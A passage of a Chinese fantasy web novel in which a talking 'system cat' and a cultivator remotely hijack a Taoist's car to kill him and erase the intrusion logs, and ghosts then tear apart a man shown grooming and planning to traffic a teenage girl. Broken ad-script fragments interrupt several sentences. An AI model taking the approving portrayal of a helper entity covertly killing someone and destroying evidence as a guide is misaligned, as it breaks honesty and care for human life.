最后,他拎着一个大大的挎包,从电梯直下负三楼的停车场,也没有开那一众高调的豪车,而是上了一辆为了掩人耳目特意登记在别人名下的普通电车。 开上街就能完美的汇入浩瀚的网约车大军,做到完全不引人注意。 榕山道人没有告知雇佣他做了这一切的罪魁祸首,甚至封锁了一切消息,当做没有任何事发生,目的则是为了如果那人真来寻仇,就让他成为为自己争取逃命时间的筹码。 同时还有报复他竟然让自己卷进了这个泥潭。 他一路神情紧绷,直到车下了高架即将上高速开出榕城的地界也没有感受到来自任何同行的报复,正要松一口气的时候,突然,变故发生了。 车的方向盘突然开始急速右滑,他连反应的机会都没有,高速行驶的车辆已经装上了外侧车道的水泥桩猛地弹起,一连在空中的翻滚了数圈之后在重力的作用下,轰的一声狠狠地砸在了地上! 强大的作用力令榕山道人瞬间陷入了短暂的失能,但随即,车辆事故的报警按钮处罚,车内传来了话务员焦急的呼喊声:“先生、先生,您没事吧?” 声音唤醒了榕山道人,他顶着满头的鲜血艰难睁开眼后做的第一件事情就是摸向自己脖子上佩戴着锦囊,在感知到里面的符咒被烧了一半之后,他结识地松了一口气:“多亏了从他们手里面换了这道替死符,不然真得死在这里了……” 然而他劫后余生的笑声还没吃□□,他就感觉到另外半边安好无损的符文突然一个自燃在他掌心中烧成飞灰,这代表着还有一道劫难在等着他。 他抽了抽鼻子,终于闻到了那股被自己忽略掉的刺鼻气味:“等等,这是什么味道!” 抬头看向窗外,从后视镜碎裂的镜片反射中他看到了令他惊恐的一幕,翻转朝天的车辆经过先前的猛烈撞击,电池包已经开始冒出熊熊的火焰,并且以迅猛的速度朝着整车蔓延—— 要逃! 几乎是在这个念头浮现出的那一刻,榕山道人就已经开始行动,却惊恐地发现车门在撞击中移位变形,无论他怎么尝试都无法打开自己这一侧的车门! 感受着烈火在迅速逼近,榕山道人再也无法保持冷静,彻底陷入了无法逃生的恐慌之中。 他使出一切方法,推拉拽撞,却始终无法撼动形变的大门,最终被熊熊燃烧的烈火所吞噬。 等到消防队闻讯赶来,电池爆燃导致已经连人带车化作了焦炭,化作新闻联播上主持人一句就能代过的警醒世人的悲痛新闻。 以至于没有人知道,里面坐着的人是在榕城通过阴私的害人手段,作恶多端敛财无数的榕山道人。 除了这一切的始作俑者系统猫和陆时。 “弄完了。” 系统猫拍了拍猫爪子,道:“我把侵入后台的数据也给删掉了,后期检测,也只会检测出他是因为操作失误而发生的事故。啧,该说这就是人在做天在看么?” 陆时不吝赞扬道:“干得漂亮。” 系统猫撸了撸并不存在的袖子,干劲十足的说道:“好了,现在帮凶已经解决掉了,该是考虑怎么处理主犯了。” 说着,转头朝着一旁的刘梓旭扬了扬下巴:“你想怎么解决掉他?” 刘梓旭从惊讶中回神,愣愣问道:“那个帮助李轩的道士,被弄死了?” 即便已经早早做好了这个准备,但是在亲耳听到这个消息的时候,刘梓旭还是不免心脏一颤,愣愣低头看着自己的双手,他甚至已经觉得上面占满了鲜血。 陆时和系统猫对视一眼,补了一句:“设计的车祸本该只会要了他的半条命,让他无法再给维持那些符咒的防护。但那些被他害过的人的怨念促成了推手,将他送上了黄泉路,也算是恶有恶报。” 刘梓旭紧绷的表情还没来得及缓和下来,就听系统猫幽幽补充道:“不过李轩的死,可注定跟你脱不了干系——刘梓旭,现在,你确定要继续吗?” 陆时也在等着他的回答。 刘梓旭咬紧了唇瓣,力气之大,甚至已经刺破了皮肉,鲜血涌了出来浸满了唇齿。 亲自下达了结一个人的决定跟冷眼旁观那人去死,或者借刀杀人之间有着宛若天堑的巨大差别。 哪怕知道这个人是作恶多端的杀人凶手、还想要嫁 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 祸自己,让自己给他当替死鬼,这个决定对刘梓旭来说也是太过沉重。 这样的沉默一直持续了很久,久到系统猫已经失去了耐心,他却突然开口说道:“继续!” 明明作下这个决定已经抽空了他所有的力气,但就算是伸手搀扶着栏杆,他也要保持着站直了背,像是为了补充自己的决心:“我一定要为鬼叔复仇!” “就算事后被查到是我,让我接受法律的惩罚,我也要解决掉他!” 此刻的他身上扔残留着风尘仆仆赶路的痕迹,但脸上的懦弱却已经消失不见了,比之先前的吊儿郎当,他现在才是真真正正的经历了蜕变。 陆时点头:“知道了,那走吧。” 刘梓旭一愣:“去哪儿?” “你遇险的李轩祖宅,同时也是这一切罪孽开始的地方。” 系统猫跳上陆时的肩膀,甩动着尾巴擦过他的脸,发出催促:“叫的出租车已经在外面等了,还不走?” 刘梓旭如梦初醒,赶紧点头跟着他们上了出租车,再听到他报出了那个耳熟能详的地址后。后一段路刘梓旭就陷入了对接下来所发生的事情的担忧之中。 半个小时不到,他们一行人就已经抵达了目的地,位于榕城郊外一个县区小镇上的自建房外。 陆时抱着系统猫仔细将房屋打量了一阵,这在村民眼中看似普通地不能再普通的房屋,但在拥有着神识的陆时看来却是另外一番景象—— 冲天的鬼气和怨气死死纠缠着竟催生出黏腻的黑气,这一发现令陆时微微挑眉,没有人比他更清楚那东西是什么。 系统猫也发出惊呼:“魔气诞生的征兆,好家伙,他这得是害了多少人啊?” 陆时道:“不清楚。”也不重要。 他转头看向身后看着这栋建筑开始发抖的刘梓旭,道:“走吧。” “嗯,嗯……” 刘梓旭就这么寸步不离地跟在陆时身后,心如擂鼓,既恐惧这里给自己带来的阴影,又在庆幸陆时的帮忙协助,还怀揣着一切都将要结束的解脱释然,他们进了院子。 一股阴风立刻袭来,吹得人毛骨悚然。 刘梓旭战战兢兢地询问道:“接下来我们该怎么做?直接……杀进去吗?” 陆时道:“用不着这么麻烦。”说着抬头看向两扇门之间挂着的一块门匾,抬手灵力凝聚成一缕剑气隔空砍去。 只听一声清脆的剑鸣,那块门匾凭空碎成了两半,连同它背后所藏着镇器的匣子一起。 啪的一声闷响,一个纯金的老虎掉在了地上,黑气立刻袭来,它原本耀眼的金色光芒迅速暗淡,如同被同化。 与此同时,整间房子所在的气息发生了惊天巨变,温度骤降,阴风呼啸。 陆时向刘梓旭解释道此举用意:“那道人已经死了,镇压此地的布置毁了大半,另外一半就是这一方镇器。” “如今它被毁了,失去了镇压的孽鬼会对他们的仇人做出什么事来,不难猜。” 系统猫凉凉总结道:“罪有应得。” 30. 穷途末路(一更) 与此同时,一墙之隔的房间内的人对外面所发生的一切毫不知情。 客厅内,一个打着眉钉,画着浓妆,穿着朋克衣服的男人开了一瓶啤酒对嘴猛锤,喝了个酒饱之后又一把揽住了坐在沙发另一头的少女,埋头在她扣子敞开清凉的胸口猛吸一口后,发出一脸餍足的喟叹:“啊!爽!” 少女非但不懊恼,反而一脸享受。 “轩哥,你真厉害,竟然在乡下还有这么一栋大房子,还装修的这么酷!” 这时,有铃声传来,少女循着声音找到了被她遗落在沙发角落的手机,解锁一看,铺天盖地的短信涌了出来。 -女儿,你在哪儿?爸爸妈妈很担心你,告诉我们好不好? -女儿,妈妈错了,妈妈再也不让你去加补习班了!你回来好不好…… -你爸爸已经被气倒了,你知道的他身体向来不好,当初你小时候说过的要做他的小棉袄,怎么现在却这样对他…… -女儿…… 咔。 她只看了一眼,就一脸不耐烦地按下了锁屏随手一丢:“哼,这次他们别想像以前那样轻易地找到我了!” 又凑到男人的身边,两眼满是憧憬和崇拜:“轩哥,你不知道我爸我妈管我管得多厉害!” “一天天张口就是学习成绩,要么就是各种各样的补习班,我都快要被他们逼疯了!” “还是跟你在一起有意思,开演唱会,喝酒,泡吧,我从来都不知道原来世界上还有这么多好玩的东西,真想一辈子跟你在一起!” 男人,也就是李轩看着这个对自己深信不疑到主动咬钩的猎物,得意大笑:“那是,找乐子找你轩哥准没错!” 他舔了舔嘴唇,眼里尽是贪婪:“对了,我上次不是跟你说过我马上就要出国参加一次巡演吗?我记得你说你还没出国玩过,我跟我的队友们商量了一下匀出了一个名额……” 话题点到即止,却彻底勾起了少女一颗骚动的心。 压根不用他挂饵,她已经迫不及待地咬了钩:“我去!轩哥!你务必要带我去!求求你了!” 她甚至用上了哀求。 李轩却没有急着收杆,相反贪婪的他还盯上了更多的东西,故作为难的一脸纠结地说道:“可是因为你现在还不是我们乐队的人,虽然能把那张机票给你,但住宿伙食这些乐队经理不会给报,你也知道,轩哥我的钱全部投入到创作音乐当中去了,不能给你出,要不还是算了吧?” 眼见着绝佳的机会告吹,少女急了,抓住李轩的手掌说道:“轩哥,不用你出钱,我会自己想办法凑够钱的!” 但说着,她想是想到了什么,狠狠皱紧了眉头。 早已将她家庭情况摸透了的李轩一点一点地引诱道:“但是我记得你爸妈一直在限制你的零花钱?” 这精准戳到了少女的痛点,她吐槽道:“就是说啊!他们一周只给我五十块钱,一天十块钱,除去吃喝还能剩下什么!我那会儿同学过生日,我想送他们一个礼物找他们要五百块钱,他们都不肯。” “说什么,那是没必要的消费,结果我弟弟,一个小学生,随口说了一句想要玩游戏,他们第二天就订购了一台电脑送给了他!他们就是偏心!” “不喜欢我!我只不过是他们为了实现自己没有达成的遗憾的工具而已——” 她鼻孔喷吐出厚重的呼吸,足以看出她对这件事介意之深,甚至已经成了她的心魔。 李轩对她的反应满意极了,于是进入了下一步,借着替她打抱不平给出心理暗示:“做父母的竟然这么偏心,重男轻女,那你要不给他们一个教训?” “我记得你爸不是因为被开除公司赔了一大笔钱吗,你现在出国正缺钱……” 少女的脸上却浮现出犹疑:“可是那些钱妈妈说留着给爸爸治病……” 她的话被李轩强势抬手打断:“那都是你妈妈骗你的,只是为了不想分给你的借口而已!他们就是想要把这笔钱留给你弟弟,给他娶媳妇儿,买房子……” 少女原本坚定的立场开始摇摆。 李轩趁热打铁道:“你想,他们既然这么过分,那你拿过来给自己用又有什么问题呢?就当是他们这些年虐待你的补偿,你说是不是?” 如同魔鬼的蛊惑,少女心底坚守的底线崩碎,彻底沦陷。 她重重点头,熊熊怒火在她眼中翻涌,她猛地站起来,战意十足地说道:“轩哥,你说得对,那笔钱就该是我的!我知道那张卡放在哪儿,也知道密码,我现在就拿回属于我的钱,然后我们一起去国外开参加音乐会!” 李轩鼓励道:“加油,我在这里等着你的好消息!” 但就在她转身之后,李轩脸上的耐心开解荡然无存,取而代之的是急迫的贪婪——看着少女走向大门,李轩仿佛已经能够看到海量的金钱在朝着自己在招手! 他低着头咯咯笑道:“她这张脸猎场那边怎么也不得给我评个上乘,保底就是一百万,后续还有分成……这可不是音乐圈那三瓜两枣能够比得上的!我当时可真是想不开竟让不要钱想要出名!结果害得我耽误了好多生意……” 他忽然想起了刘梓旭,想到三天前那一幕,他恨得咬牙切齿地低骂道:“那个混蛋,老子好心把他当兄弟,还想要将这发财的路子拉他入伙,让他也分一杯羹,谁知道他竟然想要的是老子的命!” 李轩气的重重一拳砸在了桌子上:“幸好我有大师相助!不然还真当他得逞了!” 脑海中回忆起榕山道人会出手赶尽杀绝的承诺,他这才是缓和了神色:“算算时间,刘梓旭那个蠢货现在已经葬身在荣山大师的役鬼的腹中了吧!” 说着说着,他又不由避免地想起了刘梓旭对付他的原因:“还想为人报仇逞英雄,落得这个下场真是活该!” “倒是那个女的真是可惜了!如果把她卖过去了,报酬足足有一千万!我这一辈子都已是无忧了!哪里还要费心费力一个一个的去哄骗!” “算了!现在这样也行,反正有大师的符咒替我遮掩,不会有任何人发觉我这钱来路不明!不仅吃喝玩乐,玩儿的也日日不重样……” 他高兴地想要再去拿酒,手刚刚伸出却忽然打了一个寒颤,他这才惊觉屋子里面的空气突然下降了好几度,穿着紧身衣的他冻得浑身直起鸡皮疙瘩。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>“怎么回事,怎么突然变得这么冷了啊,我也没开空调啊……” 还不等他想出个所以然来,就听见原本出去偷钱的少女发出了惊呼声:“啊!” 他不耐烦地啧了一声,唯一一个知情人刘梓旭也被解决掉,以至于他对这个罪恶老巢重拾信心,甚至连回头查看都没有去做:“真是事儿多,一惊一乍的,要不是看在你这张脸能卖出个好价份上,看我怎么教训你……” “你们是谁——啊!” 少女的话还没能说完,就戛然而止,那临了惊恐的颤音全然不像作假,这时的李轩才意识到不对! 猛地转头看去,然而映入眼帘的画面令他差点骇的肝胆俱裂! 少女打开的大门外,黏腻的黑气在翻涌着凝聚成无数道黑影,那彻骨阴冷的气息即便是隔着数十米远都能令李轩头皮炸裂,然而更恐怖的还在后面,只见那些黑影的脑袋上,一张张面孔正在逐渐成型! 高矮胖瘦、老人、小孩、少女、男人,什么样长相的人都应有尽有,然而李轩却再熟悉不过! 这些都是曾经因为阻拦他发财而被他除去的拦路石! 李轩磕绊地喊出了他们的身份:“鬼!” 这就像是一个信号,一时间无数双紧紧闭着的眼睛全部睁开,死死盯着一个方向,那就是李轩的脸! 张嘴,齐齐出声,却是阴森可怖的鬼音:“李轩,今天就是你的死期——” 轰! 李轩被吓得跌坐在地上,但尾椎传来的疼痛却唤起了他的神志,他看着门外那些可怖的鬼影,一脸地有恃无恐:“虽然不知道你们是怎么聚集起来的,不过,想要杀我,简直就是在痴心妄想!” 他冷冷笑道:“榕山大师已经在我的房子周围布下了结界,别说闯进来,只要跨过结界雷火就会将你们烧得魂飞魄散!” 此言一出,那些鬼影有一瞬的停顿,这更加助长了李轩的嚣张气焰:“识相点就赶紧滚开!我可以既往不咎!” 实则他想的却是,等榕山道人以来,就将他们彻底诛杀殆尽。 然而他拿出了手机打给榕山道人,却自始至终没有接听的迹象,还没来得及疑惑,就发现那些原本已经冷静下来的鬼影又有了动作—— “杀了你!杀了你!” 他们为首一个鬼魂高喊着,大步朝着大门冲了过来! 李轩眼里闪过冷意:“好,这是你自己想找死!” 但下一秒,他就惊得瞪大了眼睛,他预想中灰飞烟灭的残酷景象没有发生,鬼影安好无损地跨过了大门进了屋! 他当即大惊失色:“这怎么可能!那可是榕山大师亲自给我布置的法阵——” 没有人来解答他的问题,看到第一个鬼影安好无损地跨进大门之后,剩余那些鬼影齐齐发了狠,张牙舞爪地挥舞着尖牙利爪一股脑地冲进了屋子,铺天盖地地袭向李轩! 不好! 李轩慌忙想要逃走,然而却脚下一个踩空,跌在地上,再度回头就看见了无数张充斥着刻骨铭心的狰狞杀意的鬼脸已近在咫尺! 他们高喊,带着大仇即将得报的癫狂释然:“拿命来,李轩!” 31. 灵莲花雨(二更) “想杀我!可没这么简单!”李轩却没有坐以待毙,手摸向兜里放着的一个从不离身的锦囊,用力捏碎! 咔! 他的身上忽然多了一道暗红色如同血一般的红光,如同是一个撑开了一个保护罩,将所有的鬼魂攻击全部阻挡在距离他半米之外! 不过是一步的距离,但这些鬼魂燃尽生命都无法跨越! “可恶可恶!” 看着鬼脸上的不甘,李轩松了一口气后,放声嘲讽:“哈哈!得亏我问大师要了一个保命的血符咒,不然真就栽在你们这群死人手里了!” “为什么!” “老天不公!” “为什么我们都成了鬼都杀不了这个人!” “……” 鬼魂在绝望地哭诉不公,李轩听着眼里酝酿着可怖的杀意:“你们还真是认不清现实啊!有这道血符咒在,你们永远也杀不了我!” 他发了狠:“哼!等我喊来了大师,就是你们的死期——” 却在这时,门外传来了一道冰冷的嗤笑:“榕山老鬼那厮,他再也不会来了。” “是谁?” 李轩抬头望去,当一张憨厚老实的脸映入眼帘的那一刻,他脸上的得意却转变为彻头彻尾的惊恐! “怎么是你!” 进屋的不是别人,正是被他残害了妻儿老小、拼着不再转世投胎,燃烧神魂化作厉鬼寻仇的恶鬼! 这一次,李轩是彻底怕了:“张伟明?你怎么可能没死,榕山道人明明已经用役鬼重创了你……” 张伟明冷冷道:“我都没有杀了你这个畜生为小容她们娘俩报仇,我怎么舍得去死?” 但下意识地往大门外飘去的目光仍是说明了真相。 张伟明一步一步地迈着稳健的步伐朝着李轩所在的方向走去,然而他每走一步,李轩的身体也随之一颤,脸上惊恐也在翻倍加剧。 他甚至开始了求饶:“不,不要过来,我错了,我去接受法律的制裁,你不要再过来了,不、不要——” 凄厉的呼喊传到了屋外,院子里,陆时连眉毛都没抬一下,显然是对着局面早有预料。 倒是刘梓旭深感解气的同时,也感到无比的好奇:“陆时,为什么李轩现在会那么害怕鬼叔?明明三天前我们遇到他的时候,他还无比的得意……” 回答这个问题的是窝在陆时怀中的系统猫,它停下用肉垫扒拉的手机,笑得幸灾乐祸:“也没啥,先前他能嚣张,是因为倚仗的是榕山道人给他用那一尊镇器所编造的法阵。” “而如今,他现在保命的血符咒用的原材料不是别的,正是你鬼叔的一身血肉。” “血肉,为什么?” 这一次回答的却是陆时,他道:“张伟明家祖上不止是修过道,还很有可能出过得道的大能,以至于后世他们的血裔身上留着的血就天生对扼制阴气有着绝佳的功效;若是修道,这份奇异则会成为他的助力,可……” 陆时没有说下水去,但刘梓旭已经明白了他未尽的意思。 刘梓旭大吃一惊,但惊讶过后,取而代之的浓郁的愤怒:“李轩这个畜生真是罪该万死!” 系统猫扬了扬下巴,道:“他也快了。” 就在它话音落下的那一刻,一道比之先前凄厉一万倍的惨叫声传来!同时混杂其中的还有沉闷的撕扯声和液体滴落在地面溅起朵朵雾花的炸响声。 “啊!我的手!” 不用系统猫和陆时提醒,刘梓旭已经绷紧了身体,他意识到,复仇,开始了。 正如他所猜测那样,这一道凄惨的哭喊声仅仅只是一个开始,接下来的半个小时内,他的哭喊声比先前还要痛苦千倍万倍! 即便没有看到任何画面,但通过他的哭喊,刘梓旭仍是脑补出残忍的画面,到了最后,即便已经深知他是罪有应得,他也仍是抖若筛糠。 陆时和系统猫对视一眼,默契点头:“是时候了。” 陆时上前一步,跨进了大门,进屋的动静吸引了所有鬼怪的注意,他们猛地一百八十度转过头,阴厉的鬼脸上此刻多了一层献血凝结的面具,双瞳也不再是无神,而是爬满了鲜艳欲滴的血丝! 他们戒备地看着陆时,如同在护食,仿佛下一刻就要一拥而上。 但陆时仍是神态自若,神识扫了眼被他们七手八脚死死摁在地上的李轩,在被数十只穷凶极恶的恶鬼尖爪厉齿撕扯,如今的他早已体无完肤,甚至已经没有了一个人样。 陆时总算是有了反应,他精准的在一众恶鬼中锁定了张明伟的身影,开口问道:“尸身尽毁,够了吗?” 张明伟吐出一口模糊的血肉,那张憨厚的脸上,是怎么都收敛不了的快意,他朝着陆时摇头:“不够!还不够!只是杀了他怎么够,我要他一辈子都不能转世投胎,让他之后每一天都活在无尽的悔恨之中,只有这样,才能为我死去的妻子女儿报仇雪恨!” 但这样做的后果便是他自己也会遭到反噬从而丧失最后一丝转世投胎的机会。 陆时却没有劝,而是点头,道:“那就下手快一点,不然时间不够了。” 张明伟重重点头:“是!” 陆时转身就要离开,然而正要迈过门槛的时候却被张明伟叫住:“等等。” “嗯?” 他回头望去,就见张明伟躬身合掌朝他行了一个礼,然而这礼仪虽然是不伦不类,但他的脸上神情却是无比的真挚。 张明伟说:“大人大恩,小人无以为报,但求上天庇佑大人……万事顺遂,心念事成。” 如今的他,无需任何的庇佑与成全。 但陆时没有扫兴,点头实打实受了他这一礼:“去吧。” “是。” 在他走出门的那一刹,张明伟张开手臂朝着虚空某处抓去,无形的魂魄扭曲惊恐地拼命挣扎,却只是徒劳! 张明伟大笑着,运用起了先前在自家先祖记载的古书之上的功法:“愿以此身起契,化为恶咒附汝神魂之上!汝生我生,汝死我死,这苦痛,我要你,至死不休!” 李轩神魂抵死挣扎:“不——” 无果。 张明伟的鬼影化作灵光消散的那一刹那,他的半边身躯爬满了密密麻麻的咒文,如同跗骨之蛆一般,难以言喻的可怕疼痛通彻心扉! 所有的鬼影都齐齐停下了手中的动作,或吐出嘴里咬下的血肉,呆呆地看着这一切,直到那身怀恶咒的李轩灵魂被剧痛折磨的崩碎! 随着仇人身死,被怒火蒙蔽了所有神志的他们重新恢复了理智,才惊愕地发现,他们在不知不觉间早已泪流满面。 大仇得报,这一天,他们等得太久。 如释重负之后,接踵而至的是迷茫。 然而这时候, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他们全部感知到了什么,鬼影一个一个地走出了屋子,地上的少女如同来时那样被自然而然地忽视。 出门后,就见院落中央,陆时轻阖眼眸,单手掐着法印,吐出一个个晦涩的口诀,点点灵光逐渐在他掌心汇聚成为一朵娇嫩的白莲。 一众鬼影似是有感,停下了所有的动作,不发一言地等待着。 他们没有等太久,随着陆时念出了最后一个音调,他睁开了双眼,灰翳的眼眸平静的直视前方,白莲在被他轻推出掌心的那一刻迅速放大,最后噗的一声化作一阵灵莲花雨。 陆时道:“这一切是该到结束的时候了,去入轮回吧。” 一众鬼影无声的点头,伸手接过了一片莲花花瓣后,他们的身形就化作灵光而平静地消散。 数十个人,只是一眨眼间就消失了大半,刘梓旭睁大了眼,似是要强迫自己将这毕生难得一见的奇妙景象深深镌刻进脑海中,但很快,他就发现了有两个人迟迟没有伸手。 “难道他们是不想离开吗?” 这个念头刚刚在脑海中浮现出来,就见两人中年长一些的女性突然伸手为令一人擦干了眼角中涌出的泪珠,温声道:“走吧。” 那人却猛地泫然泪下:“我错了……” 刘梓旭一愣:“难道说她们就是……” 系统猫灵活的猫尾巴啪的抽在了他的手背上,打断了他没能说出来的话。 就听年长的女性仰望了会儿天空,抿着唇说:“你爸他最讨厌蠢蛋了,所以,不要再做让他失望了的事了。” 说完,伸出手,接下一片白莲,身影开始消散! “妈!” 少女鬼影再不敢犹疑,同样伸手紧随她其后消散。 随着二人离去,陆时伸手接下一片白莲花瓣,观摩片刻后,又倏地松开了手,任由那片花瓣随风飘起,最后连同剩余未能用尽的花瓣一起重新回归大地。 系统猫伸了个懒腰,发出了符合时宜的总结:“啊,终于要结束了。” 刘梓旭愣愣点头完,如梦初醒地去拿手机:“我现在给你们赚钱……” 却被陆时打断:“你的工作,可还没结束。” 系统猫挤眉弄眼甩了他一个不懂事的眼神:“难不成你以为我们来找你就只是为了让你看这出好戏的么?” 刘梓旭不解:“啊?可是李轩不是已经死了吗?还有我什么事……” 系统猫道:“不是你说的么,你跟在李轩身边两年,那你扪心自问,现在李轩突然死了,你脱得了干系?” “到了。” 它循着陆时的目光望向东方天际,那里有异样的波动传来,它啧了一声:“平时活不干,捡人头倒是挺快的。” “什么人头?” 看着愣愣的刘梓旭,系统猫挑明了话:“带你过来呢,就是为了让你来做最后的收尾——” 说罢,它伸出肉垫搭在刘梓旭的脑门上,用力将他朝着地面一推——“去吧,想办法糊弄过太玄司的苍蝇,记得,不要透露我和陆时哦……” 嘭。 刘梓旭呈仰倒的姿态倒进屋内,栽在少女的身边,后脑勺磕在地板上他瞬间陷入了昏迷。 意识迷蒙间,不知过了多久,他看到有无数穿着白色道衣的人闯了进来,嘴里念叨:“队长!是恶鬼伤人!这里有幸存者……” “……” 32. 更多信息 “你们是……谁?” 刘子旭话还没说完,就脑袋一歪昏了过去。 冲过来的少年立刻关切地蹲下来查看情况:“只是脱力昏了过去,没有要紧事。” 他正准备将人放下去查看另外一个女生的情况,却被叫住:“榛子,把他带回去。” “为什么啊?他又没有遭到邪气侵袭,用不着进行调理……难不成你是怀疑他体内没有阴气,所以认为他是参与者?” 少年露出一个赞扬的大拇指:“这是不可能的啦,因为我在他体内看到了有功德金光,有这种东西的人不会是坏人……哎呦。” 解释的少年突然挨了一个板栗,捂着脑袋小声逼逼:“肖姐,我哪里说的不对吗?” “我没说他是坏人,但是他和这件事情完全脱不了关系。”他身后,一个穿着干练作战服的女人晃了晃手机,无奈说道:“榛子,你的灵感的确非常敏锐,但偶尔也要依赖一下现代科技?” 木秦疑惑地拿出手机,就见系统发来的协查通告里面赫然标明了刘梓旭和这栋房屋的主人有着密切的关系,疑似为好友。 少年讪讪的摸了摸鼻头,尴尬地找补:“对不起,肖姐,下亿次我一定会记住的。” 得到肖艳白一个可有可无的白眼后,他抬头看向房屋深处,皱紧了眉头感叹道:“按理说能够被系统直接捕获到异样并锁定,这里面的鬼气应该非常浓郁才对,最低也是A级,可我却没有感觉到一点鬼气……看来是被度化了。” 肖艳白惊疑不定:“我们赶来不过二十分钟,能在这么短时间之内将A级祸源地的阴气全部超度,如果不是专修灵道的修者,其修为最起码也得是金丹往上,甚至很有可能是元婴。” 木秦激动不已:“哇塞!元婴大能!我们南省太玄司分会长也不过才金丹大圆满,不知道是哪位前辈出的手,真想跟他见一见啊。” 然而肖艳白却面色凝重地打断了他:“最好不要,因为此人是敌非友。” 在木秦疑惑的目光注视下,肖艳白缓缓解释道:“在赶来的时候,我就在总群里问了一下各位元婴境以上的前辈行踪……” 木秦瞬间睁大了眼:“不会是我想的那样吧?” 肖艳白苦涩地点点头:“就是,没有一个前辈在榕城,也就是说,出手的人,是一个没有被太玄司登记在册的陌生的元婴修者……” “我靠!太玄司创立已有百年,竟然还能漏掉一个堂堂元婴境的修者?他们内务那边干什么吃的?” 刚骂完,他就自己回过了味儿来:“不对啊,当年修真界摸底的时候是按照修真界图谱来一一溯源的,每个有传承的门派上到老祖,下到入门的修者都被登记造册,这种纰漏绝对不可能出现才对。” 木秦瞪大眼:“换言之,这位元婴前辈是个野路子散修!我靠,牛逼啊!这都末法时代了,我连做梦都不敢梦这么夸张啊!” 看着激动的木秦,肖艳白却叹了一口气:“你忘了吗?没有被查到,还有另一种可能,他很有可能是密……” 话还没说完,这时,屋内传来了一到中气十足的呼喊声:“榛子,小白,快进来!” “队长?” 两人迅速赶到屋内,却见到身形壮硕的壮汉正攥紧了双拳,满脸凝重地看着前方,两人顺着他的目光看去,就见到了散落了一地的骨头与破碎的血肉。 “这是受害人?”饶是见惯了恶鬼作祟的木秦此刻也都被这惨样骇的心头一惊:“这得有多大仇恨,才能做得这么绝!” 倒是肖艳白迅速缓了过来,询问王奇:“屋子里面有发现什么线索吗?” 王奇摇摇头,给出的回答令人倍感凝重:“暂时没有,屋子里非常干净,甚至干净到凡常——别说是施咒的痕迹,我刚刚尝试召唤了数次,也没能唤来哪怕一丝一毫的残存神魂。” 木秦一张脸也垮了下来:“完了,这下可麻烦了。” 以往,他靠着自己修行的灵道,可以通过感知天地之间残存的阴气或者共感灵魂就能轻易地剖析出真相。 但如今两样全部都一干二净,木秦现在是两眼一摸瞎, 王奇又道:“这也不尽然,我们目前还是手握着两个线索。” 他没有卖关子,伸出了两个手指,列举到:“第一,这件屋子,如果你们切实了解过现代痕迹学就会知道,这些没有生命的物品经过科学的分析和观测,能令他们开口说话。” “只要让刑侦鉴定科插手,他们就能拼凑出我们想要的真相……” 肖艳白却无奈地叹了一口气:“太玄司的存在是机密中的机密,为了不引起恐慌,□□那边三令五申令我们对普通民众保密,即便是执法部门也不例外。想要请他们一起共同查案,得向上递交层层审批,麻烦就算了还不一定能过。” 王奇点头:“没错,所以我们只能选择第二个方法。” 木秦好奇地眨巴眨巴眼:“是什么?” 肖艳白无奈道:“榛子,你猜我让你把人带回去是为了啥?作为幸存者,还是被害者的好友,他一定知道很多情报。” 单纯的少年终于明悟:“把他带回去是吧?妥了。” 撸起袖子就将刘梓旭扛在了肩上,朝着院子外走去。 肖艳白看着在他背上颠得上下起伏不止的人无奈叹了口气,将先前得出的有关超度人选的分析告知后,主动道:“我去看着榛子,他太脱线了,我不是很放心,队长,这里就交给你了,一定要查清楚这件事情是不是跟那边有关系。” “嗯。” 得到王奇点头后,肖艳白带走了另一个少女,跟木秦坐上了停在门外的车疾驰离开,独留王奇一人继续在房屋四周仔细查探。 但动用了匿身咒的陆时抱着系统猫就站在院子中央,不论他怎么寻找也注定徒劳。 系统猫抬头,一双混元的猫眼上写满了疑惑不解:“陆时,你就这么放他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 走了?这次我可是看的清清楚楚的,你在刘梓旭身上可连一个禁制都没下,你就不怕他会暴露我们的存在?” 陆时撸着系统猫的毛皮,满脸不以为然:“你有主神的藏匿机制,你怕什么?” “我是不怕啊,但主要是担心你啊……” 陆时摇摇头,自然地岔开了话题:“我相信刘梓旭会处理好的,到时他们刚刚谈论的内容更令我在意。” 系统猫回忆一通,没有发现任何异常:“啊?他们刚刚也没说什么重要的吧?” 陆时却并不赞同,提示道:“听他们谈起找刑侦部门合作时的无奈和谈论的禁令,看来这太玄司跟官方的关系,好像并不跟我想的那般融洽啊……” “嗯?你说这个,我也有一点很在意,那就是他们在得知你存在时的戒备……” 系统猫复数了一遍他们交谈的内容,咬重了登记造册的四个字,不爽地甩了甩尾巴:“他们的态度也未免太理所当然了,跟上班打卡一样,所有的人都要接受他们管理,我反正是觉得不舒服。” “很正常,为了排除危险,在这个世界上,修者才是少部分人。” 陆时没有继续深入这个话题,直接道:“好了,出来这么久了,也该回去了,不然崽子可能要闹脾气了。” 系统猫一拍脑袋,懊悔道:“靠!说好买家具去的!被耽误了!看来只能下一次去了。” 而就在二人遛弯回家的同时,刘梓旭的处境却并不好。 原本处于昏迷中的他忽然被一股刺鼻的清凉香味直冲脑门,强行开机。 “咳咳咳,这里是哪里?” 再睁开眼,刘梓旭惊恐地发现自己竟身处在一处宽阔的大殿之中,古色古香的装扮令他不禁浮现出一个荒唐的猜想:“难道,我穿越了?” 身后传来了一声嗤笑:“让你失望了,这里还是蓝星。” “谁?” 刘梓旭惊恐看去,当看到是一个一脸严肃、御姐范十足的女生后,提起了一口气彻底松了下来。 肖艳白对他这个反应很意外:“怎么,你这一脸的放松,就不怕我对你做点什么?” 刘梓旭摇摇头,甚至还有闲心打趣地说道:“像你这样的美女真要对我做点什么,吃亏的该是我才对。” 肖艳白对刘梓旭登徒子的举动也不恼,反而附和着他说道:“你说的很有道理。” 这反而让刘梓旭吃不消了,用咳嗽掩饰尴尬:“我不说笑了,这里是什么地方啊?我怎么会到这里来了?” “想知道啊?” 刘梓旭慌乱吞咽口水:“不,不可以吗?” “当然可以!但在此之前……” 